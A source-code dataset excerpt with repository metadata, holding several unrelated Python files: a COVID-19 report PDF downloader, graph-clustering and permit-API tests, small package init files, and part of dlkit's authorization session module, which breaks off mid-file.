""" this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring this is a very long docstring """ class A: """This is the first class in the alphabeth.""" # docstr-coverage:excused `test ignore after long docstrings` def ignored(self): pass def missing(self): pass

20.083333

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0.707469

80

482

4.2625

0.2875

0.175953

0.184751

0.290323

0.633431

0

0.240664

482

23

66

20.956522

0.931694

0.773859

0

0.4

0

1

0.4

false

0.4

0

0.6

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

9e5f866f7cec9044c5ffc4636fdb2a689ffe67a2

3,221

py

Python

src/pdfDownloader.py

dna33/covid19-pdfocr

66f11fc7eb3d4f0146d04344a112578bc3149a02

[ "MIT" ]

1

2021-08-16T22:21:30.000Z

src/pdfDownloader.py

dna33/covid19-pdfocr

66f11fc7eb3d4f0146d04344a112578bc3149a02

[ "MIT" ]

null

src/pdfDownloader.py

dna33/covid19-pdfocr

66f11fc7eb3d4f0146d04344a112578bc3149a02

[ "MIT" ]

null

import urllib3 from bs4 import BeautifulSoup import shutil import re import os def obtenerReporteDiario(reporte_url, path): req = urllib3.PoolManager() res = req.request('GET', reporte_url) soup = BeautifulSoup(res.data, features="html.parser") pdfs = [] for link_soup in soup.find_all('a'): link = str(link_soup.get('href')) regex_pdf = re.compile(r"(reporte_covid19)[\w\-]*\.pdf", re.IGNORECASE) pdf_match = re.search(regex_pdf, link) if pdf_match: pdf_file = f'{path}{os.path.basename(link)}' if not os.path.isfile(pdf_file): with req.request('GET', link, preload_content=False) as res, open(pdf_file, 'wb') as pfopen: shutil.copyfileobj(res, pfopen) pdfs.append(os.path.basename(link)) else: print(pdf_file + ' already downloaded ') return pdfs def obtenerInformeEpidemiologico(reporte_url, path): req = urllib3.PoolManager() res = req.request('GET', reporte_url) soup = BeautifulSoup(res.data, features="html.parser") pdfs = [] for link_soup in soup.find_all('a'): link = str(link_soup.get('href')) #regex_pdf = re.compile(r"(informe|reporte)[\w\-]*\.pdf", re.IGNORECASE) regex_pdf = re.compile(r"(epi|ep_)[\w\-]*\.pdf", re.IGNORECASE) pdf_match = re.search(regex_pdf, link) if pdf_match: pdf_file = f'{path}{os.path.basename(link)}' if not os.path.isfile(pdf_file): print('Downloading ' + pdf_file) with req.request('GET', link, preload_content=False) as res, open(pdf_file, 'wb') as pfopen: shutil.copyfileobj(res, pfopen) pdfs.append(os.path.basename(link)) else: print(pdf_file + ' already downloaded ') return pdfs def obtenerSituacionCOVID19(reporte_url, path): req = urllib3.PoolManager() res = req.request('GET', reporte_url) soup = BeautifulSoup(res.data, features="html.parser") pdfs = [] for link_soup in soup.find_all('a'): link = str(link_soup.get('href')) regex_pdf = re.compile(r"(informe|reporte)[\w\-]*\.pdf", re.IGNORECASE) pdf_match = re.search(regex_pdf, link) if pdf_match: pdf_file = f'{path}{os.path.basename(link)}' if not os.path.isfile(pdf_file): print('Downloading ' + pdf_file) with req.request('GET', link, preload_content=False) as res, open(pdf_file, 'wb') as pfopen: shutil.copyfileobj(res, pfopen) pdfs.append(os.path.basename(link)) else: print(pdf_file + ' already downloaded ') return pdfs if __name__ == '__main__': #https://www.minsal.cl/nuevo-coronavirus-2019-ncov/informe-epidemiologico-covid-19/ obtenerInformeEpidemiologico('https://www.gob.cl/coronavirus/cifrasoficiales/', '../input/InformeEpidemiologico/') obtenerReporteDiario('https://www.gob.cl/coronavirus/cifrasoficiales/', '../input/ReporteDiario/') obtenerSituacionCOVID19('http://epi.minsal.cl/informes-covid-19/', '../input/InformeSituacionCOVID19/')

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1

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null

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6

7ba983a2c839be1dfa3a88ffa4c32747f568686e

2,123

py

Python

tests/test_inflate.py

FilipKlaesson/cops

67d2e5dd4534b3f3eec95b6cfda9d4c9c1746ef0

[ "BSD-3-Clause" ]

null

tests/test_inflate.py

FilipKlaesson/cops

67d2e5dd4534b3f3eec95b6cfda9d4c9c1746ef0

[ "BSD-3-Clause" ]

null

tests/test_inflate.py

FilipKlaesson/cops

67d2e5dd4534b3f3eec95b6cfda9d4c9c1746ef0

[ "BSD-3-Clause" ]

null

import numpy as np from cops.graph import Graph from cops.clustering import ClusterProblem, ClusterStructure, inflate_agent_clusters def test_activationinflate1(): G = Graph() G.add_connectivity_path([0, 1]) G.add_connectivity_path([0, 2]) agent_positions = {0: 0, 1: 1, 2: 2} G.init_agents(agent_positions) cs = ClusterStructure(agent_clusters={"c0": [0], "c1": [1], "c2": [2]}) master = 0 cp = ClusterProblem() cp.graph = G cp.master = master cp.prepare_problem(remove_dead=False) cs = inflate_agent_clusters(cp, cs) np.testing.assert_equal(cs.subgraphs["c0"], set([0])) np.testing.assert_equal(cs.subgraphs["c1"], set([1])) np.testing.assert_equal(cs.subgraphs["c2"], set([2])) np.testing.assert_equal(cs.child_clusters["c0"], {("c1", 1), ("c2", 2)}) np.testing.assert_equal(cs.child_clusters["c1"], set()) np.testing.assert_equal(cs.child_clusters["c2"], set()) np.testing.assert_equal(cs.parent_clusters["c1"], ("c0", 0)) np.testing.assert_equal(cs.parent_clusters["c2"], ("c0", 0)) def test_inflate2(): G = Graph() G.add_transition_path(list(range(0, 12))) G.add_connectivity_path(list(range(0, 12))) G.add_connectivity_path([6, 8]) agent_positions = {0: 0, 1: 1, 2: 4, 3: 6, 4: 8, 5: 10} G.init_agents(agent_positions) cs = ClusterStructure(agent_clusters={"c0": [0, 1], "c1": [2, 3], "c2": [4, 5]}) master = 0 cp = ClusterProblem() cp.graph = G cp.master = master cp.prepare_problem(remove_dead=False) cs = inflate_agent_clusters(cp, cs) np.testing.assert_equal(cs.subgraphs["c0"], set([0, 1, 2, 3])) np.testing.assert_equal(cs.subgraphs["c1"], set([4, 5, 6, 7])) np.testing.assert_equal(cs.subgraphs["c2"], set([8, 9, 10, 11])) np.testing.assert_equal(cs.child_clusters["c0"], {("c1", 4)}) np.testing.assert_equal(cs.child_clusters["c1"], {("c2", 8)}) np.testing.assert_equal(cs.child_clusters["c2"], set()) np.testing.assert_equal(cs.parent_clusters["c1"], ("c0", 3)) np.testing.assert_equal(cs.parent_clusters["c2"], ("c1", 6))

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null

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1

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null

0

6

c896cf21816f76cd01ad1bacb6b82f675af14297

12,510

py

Python

services/core-api/tests/now_submissions/resources/test_application_resource.py

parc-jason/mds

8f181a429442208a061ed72065b71e6c2bd0f76f

[ "Apache-2.0" ]

25

2018-07-09T19:04:37.000Z

2022-03-15T17:27:10.000Z

services/core-api/tests/now_submissions/resources/test_application_resource.py

parc-jason/mds

8f181a429442208a061ed72065b71e6c2bd0f76f

[ "Apache-2.0" ]

983

2018-04-25T20:08:07.000Z

2022-03-31T21:45:20.000Z

services/core-api/tests/now_submissions/resources/test_application_resource.py

parc-jason/mds

8f181a429442208a061ed72065b71e6c2bd0f76f

[ "Apache-2.0" ]

58

2018-05-15T22:35:50.000Z

2021-11-29T19:40:52.000Z

import json from tests.factories import (NOWSubmissionFactory, MineFactory, NOWClientFactory, NOWApplicationIdentityFactory) class TestGetApplicationResource: """GET /now-submissions/applications/{application_guid}""" def test_get_now_submission_by_guid_success(self, test_client, db_session, auth_headers): """Should return the correct records with a 200 response code""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['now_application_guid'] is not None assert get_data['now_application_guid'] == str(identity.now_application_guid) def test_get_now_submission_by_guid_mine_name(self, test_client, db_session, auth_headers): """Should include the correct mine name""" mine = MineFactory() now_submission = NOWSubmissionFactory(mine=mine) identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['mine_name'] is not None assert get_data['mine_name'] == mine.mine_name def test_get_now_submission_by_guid_applicant(self, test_client, db_session, auth_headers): """Should include the correct applicant""" applicant = NOWClientFactory() now_submission = NOWSubmissionFactory(applicant=applicant) identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['applicant']['type'] is not None assert get_data['applicant']['type'] == applicant.type def test_get_now_submission_by_guid_submitter(self, test_client, db_session, auth_headers): """Should include the correct submitter""" submitter = NOWClientFactory() now_submission = NOWSubmissionFactory(submitter=submitter) identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['submitter']['type'] is not None assert get_data['submitter']['type'] == submitter.type def test_get_now_submission_by_guid_documents(self, test_client, db_session, auth_headers): """Should include the correct documents""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['documents'][0]['filename'] is not None assert get_data['documents'][0]['filename'] in list( map(lambda x: x.filename, now_submission.documents)) def test_get_now_submission_by_guid_contacts(self, test_client, db_session, auth_headers): """Should include the correct contacts""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['contacts'][0]['type'] is not None assert get_data['contacts'][0]['type'] in list( map(lambda x: x.type, now_submission.contacts)) def test_get_now_submission_by_guid_existing_placer_activity(self, test_client, db_session, auth_headers): """Should include the correct existing_placer_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['existing_placer_activity'][0]['type'] is not None assert get_data['existing_placer_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.existing_placer_activity)) def test_get_now_submission_by_guid_proposed_placer_activity(self, test_client, db_session, auth_headers): """Should include the correct proposed_placer_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['proposed_placer_activity'][0]['type'] is not None assert get_data['proposed_placer_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.proposed_placer_activity)) def test_get_now_submission_by_guid_existing_settling_pond(self, test_client, db_session, auth_headers): """Should include the correct existing_settling_pond""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['existing_settling_pond'][0]['pondid'] is not None assert get_data['existing_settling_pond'][0]['pondid'] in list( map(lambda x: x.pondid, now_submission.existing_settling_pond)) def test_get_now_submission_by_guid_proposed_settling_pond(self, test_client, db_session, auth_headers): """Should include the correct proposed_settling_pond""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['proposed_settling_pond'][0]['pondid'] is not None assert get_data['proposed_settling_pond'][0]['pondid'] in list( map(lambda x: x.pondid, now_submission.proposed_settling_pond)) def test_get_now_submission_by_guid_sand_grv_qry_activity(self, test_client, db_session, auth_headers): """Should include the correct sand_grv_qry_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['sand_grv_qry_activity'][0]['type'] is not None assert get_data['sand_grv_qry_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.sand_grv_qry_activity)) def test_get_now_submission_by_guid_under_exp_new_activity(self, test_client, db_session, auth_headers): """Should include the correct under_exp_new_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['under_exp_new_activity'][0]['type'] is not None assert get_data['under_exp_new_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.under_exp_new_activity)) def test_get_now_submission_by_guid_under_exp_rehab_activity(self, test_client, db_session, auth_headers): """Should include the correct under_exp_rehab_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['under_exp_rehab_activity'][0]['type'] is not None assert get_data['under_exp_rehab_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.under_exp_rehab_activity)) def test_get_now_submission_by_guid_under_exp_surface_activity(self, test_client, db_session, auth_headers): """Should include the correct under_exp_surface_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['under_exp_surface_activity'][0]['type'] is not None assert get_data['under_exp_surface_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.under_exp_surface_activity)) def test_get_now_submission_by_guid_water_source_activity(self, test_client, db_session, auth_headers): """Should include the correct water_source_activity""" now_submission = NOWSubmissionFactory() identity = NOWApplicationIdentityFactory(now_submission=now_submission) get_resp = test_client.get( f'/now-submissions/applications/{identity.now_application_guid}', headers=auth_headers['full_auth_header']) assert get_resp.status_code == 200, get_resp.response get_data = json.loads(get_resp.data.decode()) assert get_data['water_source_activity'][0]['type'] is not None assert get_data['water_source_activity'][0]['type'] in list( map(lambda x: x.type, now_submission.water_source_activity))

55.110132

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0.051981

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0.864426

0.828814

0.781832

0

0.007223

0.22534

12,510

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0

0.101695

0

null

0

1

0

null

0

6

c8b4dfd0fac657e7ac7e488ed975872bacfb263c

25

py

Python

manager/__init__.py

monocleface/viewer

8ab47a9e846bd2716fe0208c34f33565513fc3f6

[ "Apache-2.0" ]

6

2020-02-28T21:18:16.000Z

2020-03-13T16:45:57.000Z

manager/__init__.py

monocleface/viewer

8ab47a9e846bd2716fe0208c34f33565513fc3f6

[ "Apache-2.0" ]

6

2020-02-28T12:42:52.000Z

2020-03-16T03:49:09.000Z

manager/__init__.py

monocleface/viewer

8ab47a9e846bd2716fe0208c34f33565513fc3f6

[ "Apache-2.0" ]

6

2020-03-05T13:04:25.000Z

2020-03-13T16:46:03.000Z

from .utils import Config

25

0.84

4

25

5.25

1

0

0.12

25

1

25

0.954545

0

1

0

true

0

1

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1

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null

0

1

0

null

0

1

0

1

0

1

0

6

c8ec940438930475725da4b1624b8e42cb723947

157

py

Python

core/models/__init__.py

Brain-Engine/ImageNet

893a8008e0e8e373bc66a7cbb40813db8495426a

[ "Apache-2.0" ]

1

2021-05-17T11:49:12.000Z

core/models/__init__.py

Brain-Engine/ImageNet

893a8008e0e8e373bc66a7cbb40813db8495426a

[ "Apache-2.0" ]

null

core/models/__init__.py

Brain-Engine/ImageNet

893a8008e0e8e373bc66a7cbb40813db8495426a

[ "Apache-2.0" ]

1

2021-05-17T11:49:22.000Z

# import models from torchvision from torchvision.models import * # import models from efficientnet from .efficientnet import b0, b1, b2, b3, b4, b5, b6, b7

31.4

56

0.764331

23

157

5.217391

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0.266667

0

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157

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39.25

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1

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true

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null

0

1

0

1

0

1

0

6

cdfbbb1e16902c1d3761509ecf7d21633da2152a

161,322

py

Python

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

2

2018-02-23T12:16:11.000Z

2020-10-08T17:54:24.000Z

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

87

2017-04-21T18:57:15.000Z

2021-12-13T19:43:57.000Z

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

1

2018-03-01T16:44:25.000Z

"""JSON implementations of authorization sessions.""" # pylint: disable=no-init # Numerous classes don't require __init__. # pylint: disable=too-many-public-methods,too-few-public-methods # Number of methods are defined in specification # pylint: disable=protected-access # Access to protected methods allowed in package json package scope # pylint: disable=too-many-ancestors # Inheritance defined in specification from bson.objectid import ObjectId from . import objects from . import queries from .. import utilities from ..id.objects import IdList from ..osid import sessions as osid_sessions from ..osid.sessions import OsidSession from ..primitives import DateTime from ..primitives import Id from ..primitives import Type from ..utilities import JSONClientValidated from ..utilities import PHANTOM_ROOT_IDENTIFIER from ..utilities import overlap from dlkit.abstract_osid.authorization import sessions as abc_authorization_sessions from dlkit.abstract_osid.authorization.objects import AuthorizationForm as ABCAuthorizationForm from dlkit.abstract_osid.authorization.objects import VaultForm as ABCVaultForm from dlkit.abstract_osid.id.primitives import Id as ABCId from dlkit.abstract_osid.osid import errors from dlkit.abstract_osid.type.primitives import Type as ABCType DESCENDING = -1 ASCENDING = 1 CREATED = True UPDATED = True ENCLOSURE_RECORD_TYPE = Type( identifier='enclosure', namespace='osid-object', authority='ODL.MIT.EDU') COMPARATIVE = 0 PLENARY = 1 class AuthorizationSession(abc_authorization_sessions.AuthorizationSession, osid_sessions.OsidSession): """This is the basic session for verifying authorizations.""" def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs # def _get_qualifier_idstrs(self, qualifier_id): # def generate_qualifier_ids(): # try: # authority = qualifier_id.get_identifier_namespace().split('.')[0].upper() # identifier = qualifier_id.get_identifier_namespace().split('.')[1].upper() # except: # return [str(qualifier_id)] # root_qualifier_id = Id( # authority=qualifier_id.get_authority(), # namespace=qualifier_id.get_identifier_namespace(), # identifier='ROOT') # if qualifier_id.get_identifier() == 'ROOT': # return [str(root_qualifier_id)] # hierarchy_mgr = self._get_provider_manager('HIERARCHY') # local=True ??? # hierarchy_session = hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( # Id(authority=authority, # namespace='CATALOG', # identifier=identifier), # proxy=self._proxy) # node = hierarchy_session.get_nodes(qualifier_id, 10, 0, False) # return self._get_ancestor_idstrs(node) + [str(root_qualifier_id)] # use_caching = False # try: # config = self._runtime.get_configuration() # parameter_id = Id('parameter:useCachingForQualifierIds@mongo') # if config.get_value_by_parameter(parameter_id).get_boolean_value(): # use_caching = True # else: # pass # except (AttributeError, KeyError, errors.NotFound): # pass # if use_caching: # import memcache # mc = memcache.Client(['127.0.0.1:11211'], debug=0) # # key = 'hierarchy-qualifier-ids-{0}'.format(str(qualifier_id)) # # if mc.get(key) is None: # qualifier_ids = generate_qualifier_ids() # mc.set(key, qualifier_ids, time=30 * 60) # else: # qualifier_ids = mc.get(key) # else: # qualifier_ids = generate_qualifier_ids() # return qualifier_ids # # def _get_ancestor_idstrs(self, node): # def get_ancestors(internal_node): # node_list = [str(internal_node.get_id())] # if internal_node.has_parents(): # for parent_node in internal_node.get_parents(): # node_list += self._get_ancestor_idstrs(parent_node) # return list(set(node_list)) # # use_caching = False # try: # config = self._runtime.get_configuration() # parameter_id = Id('parameter:useCachingForQualifierIds@json') # if config.get_value_by_parameter(parameter_id).get_boolean_value(): # use_caching = True # else: # pass # except (AttributeError, KeyError, errors.NotFound): # pass # if use_caching: # import memcache # mc = memcache.Client(['127.0.0.1:11211'], debug=0) # # key = 'ancestor-ids-{0}'.format(str(node.ident)) # # if mc.get(key) is None: # ancestor_ids = get_ancestors(node) # mc.set(key, ancestor_ids, time=30 * 60) # else: # ancestor_ids = mc.get(key) # else: # ancestor_ids = get_ancestors(node) # return ancestor_ids def _get_hierarchy_session(self, hierarchy_id): """Returns a hierarchy traversal session for the hierarchy""" hierarchy_mgr = self._get_provider_manager('HIERARCHY', local=True) return hierarchy_mgr.get_hierarchy_traversal_session_for_hierarchy( hierarchy_id, proxy=self._proxy) def _caching_enabled(self): """Returns True if caching is enabled per configuration, false otherwise.""" try: config = self._runtime.get_configuration() parameter_id = Id('parameter:useCachingForQualifierIds@json') if config.get_value_by_parameter(parameter_id).get_boolean_value(): return True else: return False except (AttributeError, KeyError, errors.NotFound): return False def _get_parent_id_list(self, qualifier_id, hierarchy_id): """Returns list of parent id strings for qualifier_id in hierarchy. Uses memcache if caching is enabled. """ if self._caching_enabled(): key = 'parent_id_list_{0}'.format(str(qualifier_id)) # If configured to use memcache as the caching engine, use it. # Otherwise default to diskcache caching_engine = 'diskcache' try: config = self._runtime.get_configuration() parameter_id = Id('parameter:cachingEngine@json') caching_engine = config.get_value_by_parameter(parameter_id).get_string_value() except (AttributeError, KeyError, errors.NotFound): pass if caching_engine == 'memcache': import memcache caching_host = '127.0.0.1:11211' try: config = self._runtime.get_configuration() parameter_id = Id('parameter:cachingHostURI@json') caching_host = config.get_value_by_parameter(parameter_id).get_string_value() except (AttributeError, KeyError, errors.NotFound): pass mc = memcache.Client([caching_host], debug=0) parent_id_list = mc.get(key) if parent_id_list is None: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] mc.set(key, parent_id_list) elif caching_engine == 'diskcache': import diskcache with diskcache.Cache('/tmp/dlkit_cache') as cache: # A little bit non-DRY, since it's almost the same as for memcache above. # However, for diskcache.Cache, we have to call ".close()" or use a # ``with`` statement to safeguard calling ".close()", so we keep this # separate from the memcache implementation. parent_id_list = cache.get(key) if parent_id_list is None: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] cache.set(key, parent_id_list) else: raise errors.NotFound('The {0} caching engine was not found.'.format(caching_engine)) else: parent_ids = self._get_hierarchy_session(hierarchy_id).get_parents(qualifier_id) parent_id_list = [str(parent_id) for parent_id in parent_ids] return parent_id_list def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_access_authorizations(self): """Tests if this user can perform authorization checks. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if authorization methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ return True @utilities.arguments_not_none def is_authorized(self, agent_id, function_id, qualifier_id): """Determines if the given agent is authorized. An agent is authorized if an active authorization exists whose ``Agent,`` ``Function`` and ``Qualifier`` matches the supplied parameters. Authorizations may be defined using groupings or hieratchical structures for both the ``Agent`` and the ``Qualifier`` but are queried in the de-nornmalized form. The ``Agent`` is generally determined through the use of an Authentication OSID. The ``Function`` and ``Qualifier`` are already known as they map to the desired authorization to validate. arg: agent_id (osid.id.Id): the ``Id`` of an ``Agent`` arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` arg: qualifier_id (osid.id.Id): the ``Id`` of a ``Qualifier`` return: (boolean) - ``true`` if the user is authorized, ``false`` othersise raise: NotFound - ``function_id`` is not found raise: NullArgument - ``agent_id`` , ``function_id`` or ``qualifier_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request *compliance: mandatory -- This method must be implemented.* *implementation notes*: Authorizations may be stored in a normalized form with respect to various Resources and created using specific nodes in a ``Function`` or ``Qualifer`` hierarchy. The provider needs to maintain a de-normalized implicit authorization store or expand the applicable hierarchies on the fly to honor this query. Querying the authorization service may in itself require a separate authorization. A ``PermissionDenied`` is a result of this authorization failure. If no explicit or implicit authorization exists for the queried tuple, this method should return ``false``. """ collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) def is_parent_authorized(catalog_id): """Recursively checks parents for implicit authorizations""" parent_id_list = self._get_parent_id_list(catalog_id, hierarchy_id) if parent_id_list: try: collection.find_one( {'agentId': str(agent_id), 'functionId': str(function_id), 'qualifierId': {'$in': parent_id_list}}) except errors.NotFound: for parent_id in parent_id_list: if is_parent_authorized(Id(parent_id)): return True return False else: return True else: return False # Check first for an explicit or 'ROOT' level implicit authorization: try: authority = qualifier_id.get_identifier_namespace().split('.')[0].upper() identifier = qualifier_id.get_identifier_namespace().split('.')[1].upper() except KeyError: idstr_list = [str(qualifier_id)] authority = identifier = None else: # handle aliased IDs package_name = qualifier_id.get_identifier_namespace().split('.')[0] qualifier_id = self._get_id(qualifier_id, package_name) root_qualifier_id = Id( authority=qualifier_id.get_authority(), namespace=qualifier_id.get_identifier_namespace(), identifier='ROOT') idstr_list = [str(root_qualifier_id), str(qualifier_id)] try: collection.find_one( {'agentId': str(agent_id), 'functionId': str(function_id), 'qualifierId': {'$in': idstr_list}}) # Otherwise check for implicit authorization through inheritance: except errors.NotFound: if authority and identifier: hierarchy_id = Id(authority=authority, namespace='CATALOG', identifier=identifier) return is_parent_authorized(qualifier_id) else: return False else: return True @utilities.arguments_not_none def get_authorization_condition(self, function_id): """Gets the ``AuthorizationCondition`` for making conditional authorization checks. arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` return: (osid.authorization.AuthorizationCondition) - an authorization condition raise: NotFound - ``function_id`` is not found raise: NullArgument - ``function_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def is_authorized_on_condition(self, agent_id, function_id, qualifier_id, condition): """Determines if the given agent is authorized. An agent is authorized if an active authorization exists whose ``Agent,`` ``Function`` and ``Qualifier`` matches the supplied parameters. Authorizations may be defined using groupings or hieratchical structures for both the ``Agent`` and the ``Qualifier`` but are queried in the de-nornmalized form. The ``Agent`` is generally determined through the use of an Authentication OSID. The ``Function`` and ``Qualifier`` are already known as they map to the desired authorization to validate. arg: agent_id (osid.id.Id): the ``Id`` of an ``Agent`` arg: function_id (osid.id.Id): the ``Id`` of a ``Function`` arg: qualifier_id (osid.id.Id): the ``Id`` of a ``Qualifier`` arg: condition (osid.authorization.AuthorizationCondition): an authorization condition return: (boolean) - ``true`` if the user is authorized, ``false`` othersise raise: NotFound - ``function_id`` is not found raise: NullArgument - ``agent_id`` , ``function_id, qualifier_id`` , or ``condition`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure making request raise: Unsupported - ``condition`` is not of this service *compliance: mandatory -- This method must be implemented.* *implementation notes*: Authorizations may be stored in a normalized form with respect to various Resources and created using specific nodes in a ``Function`` or ``Qualifer`` hierarchy. The provider needs to maintain a de-normalized implicit authorization store or expand the applicable hierarchies on the fly to honor this query. Querying the authorization service may in itself require a separate authorization. A ``PermissionDenied`` is a result of this authorization failure. If no explicit or implicit authorization exists for the queried tuple, this method should return ``false``. """ raise errors.Unimplemented() class AuthorizationLookupSession(abc_authorization_sessions.AuthorizationLookupSession, osid_sessions.OsidSession): """This session defines methods to search and retrieve ``Authorization`` mappings.""" def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_lookup_authorizations(self): """Tests if this user can perform authorization lookups. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if lookup methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # 